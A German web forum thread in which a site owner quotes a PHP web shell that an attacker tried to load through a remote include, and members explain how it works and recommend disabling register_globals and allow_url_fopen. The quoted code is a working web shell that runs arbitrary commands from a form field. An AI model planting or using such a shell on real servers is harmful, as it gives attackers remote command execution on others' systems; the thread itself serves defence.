Exploit oder nicht exploit?

Neurodeamon

Erfahrenes Mitglied
Als paranoider Mensch sichere ich meine Scripts gerne gegen Unfug und mögliche Sicherheitslücken ab. Dementsprechend bekam ich eine nette Mail mit allen möglichen Daten - jemand hat versucht über einen Include folgenden Code einzulesen:

PHP:
<?
$OS = system('uname -a');
echo "<OS>".$OS."</OS>";
?>
<form action="<?=$REQUEST_URI;?>" method=POST>
<input type=text name=lox value='<?=$lox;?>' size=40><br>
<input type=submit>
</form>
<pre>
<xmp>
<?=system($lox);?>
</xmp>
</pre>

Kennt jemand die genaue Funktionsweise?
Auf dem in der Mail angegebenen Referer (irgend ein server) befand sich der PHP-Code - nicht interpretiert, sondern im Quellzustand. Es wurde dann versucht den Code über besagten include meines Scripts einzulesen - was natürlich nicht geklappt hat und mit einer Fehlermeldung quittiert wurde (und einer mail an mich).
Ich vermute mal, daß es sich um einen möglichen Exploit handelt, über PHP in den Server einzudringen (?).
 
Zuletzt bearbeitet:
-

Sowas kann nur gefährlich werden, wenn man alles und jeden versucht, einzufügen.

Also solche Sachen immer vermeiden:
PHP:
include($bla);
 
Schon klar, sonst würde ich hier rumheulen, das der Server gehackt wurde ....

Eine Antwort auf meine Frage interessiert mich aber noch immer ;)
 
Naja, <?=system($lox);?> sagt alles, oder?

Also der erste PHP-Block zeigt die Kernel-Version und noch einige andere Infos
über das Systems an (Linux vorrausgesetzt)

Dann wird ein Formular erstellt, dass wieder auf die eigene Seute zeigt.

In diesem Formular ist ein Input-Feld, in dem man ein beliebiges Kommando
eingeben kann, welches dann anschließen mit dem oben genannten system-
Aufruf ausgeführt wird und die Ausgabe gleich wieder unter dem Input-Feld an-
zeigt, in welches man den befehl wieder eingibt.

Oder was wolltest du wissen?


Man kann sich dagegen schützen, indem man (jetzt nur speziell für dieses Script)
register_globals auf off setzt.
Ausserdem sollte allow_url_fopen auch auf off stehen, damit diese Scripte
gar nicht erst heruntergeladen werden.
 
Das Prinzip ist mir schon klar. Es schaut nach einem simplen PHP-XSS zu handeln mit dem man Systembefehle über das Formular auf den Zielservern ausführen kann.

Wollte nur wissen ob nicht noch etwas anderes dahinter steckt.

Naja, wer "register_globals" auf "on" hat, ist selbst schuld ...

Nur gut das ich in meinen Scripten externe Daten mehrfach prüfen lasse.
Ein beschnittenes fopen kann ich mir leider nicht erlauben :-)

Ausserdem: Server -> Jegliche nach aussen kommunizierende Dienste -> CHROOT. Ich lieeeebe Jails :-)


Egal. Das Script gehört für mich in die Kategorie -> *GÄHN*
Das ungefähr so cool wie einige Einträge aus unseren Apache-Logs.

System: Linux
Error-Log: verschiedenste Versuche auf CMD.EXE, usw. zuzugreifen :-) :-)
 
Zurück